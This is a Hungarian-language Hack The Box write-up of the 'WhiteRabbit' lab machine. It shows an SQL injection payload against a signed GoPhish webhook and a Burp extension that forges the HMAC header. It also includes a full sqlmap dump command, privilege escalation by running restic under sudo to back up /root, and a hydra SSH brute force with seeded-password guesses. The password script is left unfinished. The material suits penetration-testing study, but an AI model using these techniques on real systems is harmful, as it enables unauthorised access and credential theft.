Skip to content

WhiteRabbit - Hack The Box

🚨 Kövess élőben HTB-n — leakek, dropok és mély writeupok
👉 t.me/nosecpwn
Ne olvasd. Csatlakozz.

Platform: Linux

IP: 10.10.11.63

Difficulty: Insane

Author: NoSec

Felderítés / Recon

22/tcp   open  ssh           OpenSSH 8.9p1 (protocol 2.0)
80/tcp   open  http          Caddy httpd
2222/tcp open  ssh           OpenSSH 8.9p1 (protocol 2.0)

Szolgáltatás infó: OS valószínűleg Linux-alapú, a Caddy webszerver fut.


Előkészítés

  • Host fájl szerkesztése bash sudo nano /etc/hosts ``` 10.10.11.XX whiterabbit.htb status.whiterabbit.htb

  • Clock skew (időszinkron, ha szükséges)

sudo rdate -n whiterabbit.htb

Alközpontok és Web Feltárás

Alközpontok felfedezése:

A whiterabbit.htb alatti /status/ végpontot brute-force-olva (pl. gobuster,ffuf) megtaláltam a status.whiterabbit.htb-t, ami Uptime Kumát futtat. Egy kis kutakodás ([redacted URL] után a /status/temp/ oldalon új alközpontokat találtam:

  • GoPhish: ddb0.whiterabbit.htb
  • Wikijs: a668.whiterabbit.htb

Webhookok nyomozása:

A Wikijs endpoint ([redacted URL] egy webhookot mutatott az 28e.whiterabbit.htb felé, ami gyanúsan nézett ki.

Kihasználás / Exploitation

SQLi a Webhookban

A webhook egy x-gophish-signature HMAC aláírást követelt. A titkos kulcsot innen szedtem ki:

Forrás: [redacted URL] Kulcs: 3CWV

Az HMAC-ot a CyberChef-fel generáltam ([redacted URL] és egy teszt payloaddal SQLi-t próbáltam:

{"campaign_id":2,"email":"test \$\"","message":"Clicked Link"}

Láttam egy MySQL hibát, szóval sebezhető!

BurpSuite Automatizálás

Manuálisan lassú volt, ezért egy Burp kiterjesztést intéztem, ami automatikusan hozzáadja az HMAC fejlécet:

from burp import IBurpExtender, ISessionHandlingAction
from java.io import PrintWriter
from datetime import datetime
import hashlib, hmac

class BurpExtender(IBurpExtender, ISessionHandlingAction):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("HMAC Header")
        PrintWriter(callbacks.getStdout(), True).println("HMAC Header OK")
        callbacks.registerSessionHandlingAction(self)
        PrintWriter(callbacks.getStdout(), True).println("Session started")
        return

    def getActionName(self):
        return "HMAC Header"

    def performAction(self, currentRequest, macroItems):
        Secret = "3CWV<redacted>"
        stdout = PrintWriter(self._callbacks.getStdout(), True)
        requestInfo = self._helpers.analyzeRequest(currentRequest)
        BodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():]
        BodyStr = self._helpers.bytesToString(BodyBytes)
        _hmac = hmac.new(Secret, BodyStr, digestmod=hashlib.sha256).hexdigest()
        headers = requestInfo.getHeaders()
        headers.add("x-gophish-signature: sha256=" + _hmac)
        message = self._helpers.buildHttpMessage(headers, BodyStr)
        currentRequest.setRequest(message)
        return

Telepítve a Burp Custom Extensions-ben (https://www.pentestpartners.com/security-blog/burp-hmac-header-extensions-a-how-to/)

SQLmap Támadás

Az SQLi-t sqlmap-mel automatizáltam:

sqlmap -u [redacted URL] POST --data '{"campaign_id":2,"email":"test@mail.com","message":"Clicked Link"}' -p email --proxy [redacted URL] --batch --dump --Level=5 --risk=3 -D temp -T command_log --flush
ID Dátum Parancs
103 2024-08-30 14:40:41 uname -a
110 2024-08-30 15:16:05 `restic init --repo rest:[redacted URL]

Jogosultság Növelés / Privilege Escalation

-Restic Kihasználása

Egy Restic tárolót találtam [redacted URL] jelszóval: ygcsv Ezzel mentést csináltam a /root/-ról:

export RESTIC_PASSWORD=ygcsv<pass>
export RESTIC_REPOSITORY=rest:[redacted URL]
sudo /usr/bin/restic init -r .
sudo restic -r . backup /root/
sudo restic -r . dump latest /root/morpheus

Kinyertem egy SSH kulcsot a morpheus-hoz, így be tudtam lépni:

ssh morpheus@whiterabbit.htb -p 22
morpheus@whiterabbit:/home/morpheus# ls
user.txt

User flag pipa! 🚀

Neo Jelszó Generálás

A /opt/neo-password-generator/neopassword-generator binárist Ghidra-val néztem meg. A gettimeofday()-ot használja seedként:

-Számítás: tv_sec * 1000 + tv_usec / 1000 -20 karakteres jelszót generál rand() % 62-vel.

Mivel a neo 2024-08-30 14:40:42-kor futtatta, a másodperceket tudom, de a mikromásodperceket bruteforce-olnom kellett (0-999). Egy Python szkriptet használtam:

from ctypes import CDLL
import datetime
libc = CDLL("libc.so.6")
seconds = datetime.datetime(2024, 8, 30, 14, 40, 42, tzinfo=datetime.timezone.utc).timestamp()
for i in range(0, 1000):
    # [Itt a rand() logika lenne, C-vel pontosabb]

Legeneráltam és jöhetett az SSH bruteforece.

python3 password_generator.py > passwords.txt
hydra -l neo -P passwords.txt ssh://whiterabbit.htb -t 20

Jelszó:

WB<pass>

Miután beléptünk SSh-n már csak egy sudo -su parancsot kell használnunk, és kezünkben a root flag

root@whiterabbit:~# ls
root.txt

🧠 Jegyzetek & Magyarázat – Mit tanultam a gépből?

  • Webhook & SQLi abuse: Az Uptime Kuma sebezhetőségei izgalmasak voltak, főleg a custom HMAC trükközés miatt.
  • Restic kihasználás: Meglepő volt, hogy egy sima backup tool milyen mértékű jogosultságemelést tud biztosítani.
  • Bináris analízis: A gettimeofday() alapú jelszógenerálás bruteforce-olása kemény agytorna volt.
  • Automatizálás: A Burp Suite és sqlmap kombó rengeteg időt spórolt, főleg a HMAC headerrel való szórakozásnál.

⚠️ Hibák, csapdák, tanácsok

  • Időszinkronra figyelj! Elcsúszott idő esetén az SSH vagy más lépések fail-elnek.
  • Bruteforce-hoz türelem kell! A /status/temp/ endpointot sokáig kerestem – fontos a jó lista.
  • Spoilermentesen dokumentálj! Ne írj le mindent, más is élvezhesse a felfedezést.
  • Tesztelj újra mindent! Az HMAC kulcsot például kétszer validáltam, mielőtt sqlmap-et futtattam volna.

✅ Összegzés

A WhiteRabbit egy remekül összerakott gép: a webes kihasználásoktól egészen a kreatív jogosultság-eszkalációig visz.
Az Uptime Kuma, SQLi, Restic és bináris analízis kombója igazi pentester csemege volt.
Mindkét flag megszerezve – user is, root is – szóval elégedett vagyok. 🚀


Ajánlom mindenkinek, aki szereti a kihívásokat, és néha szívesebben törne kreatív Linuxos gépeket AD helyett.
Ha kérdésed van: keress bátran! 💬